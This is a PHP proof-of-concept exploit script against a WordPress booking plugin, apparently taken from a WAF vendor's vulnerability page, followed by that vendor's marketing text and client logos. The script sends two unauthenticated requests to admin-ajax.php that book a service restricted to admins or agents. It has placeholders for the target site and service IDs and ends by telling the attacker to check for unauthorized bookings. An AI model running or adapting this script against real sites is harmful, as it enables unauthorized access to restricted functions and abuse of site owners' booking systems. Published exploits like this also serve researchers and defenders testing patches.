$target_url = 'http://example.com';  // Change this to the target WordPress site
$restricted_service_id = 123;  // Change to the ID of a service restricted to admins/agents
$agent_id = 1;  // Change to a valid agent ID
$location_id = 1;  // Change to a valid location ID

// Step 1: Trigger the booking via steps__start with a hidden/restricted service
$start_params = http_build_query([
    'action' => 'steps__start',
    'presets[selected_service]' => $restricted_service_id,
    'presets[selected_agent]' => $agent_id,
    'presets[selected_location]' => $location_id
]);

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $start_params);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Step 1 - steps__start response (HTTP $http_code):n";
echo $response . "nn";

// Step 2: Complete the booking with the restricted service via steps__load_step
$booking_params = http_build_query([
    'action' => 'steps__load_step',
    'params[booking][service_id]' => $restricted_service_id,
    'params[booking][agent_id]' => $agent_id,
    'params[booking][location_id]' => $location_id,
    'params[customer][first_name]' => 'Test',
    'params[customer][last_name]' => 'User',
    'params[customer][email]' => 'test@example.com',
    'params[customer][phone]' => '1234567890'
]);

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $booking_params);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Step 2 - steps__load_step response (HTTP $http_code):n";
echo $response . "nn";

// Step 3: If the booking was successful, the response will contain a booking ID.
// The attacker now has a confirmed booking for a restricted service without authentication.
echo "Exploit completed. Check the target site for unauthorized bookings.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.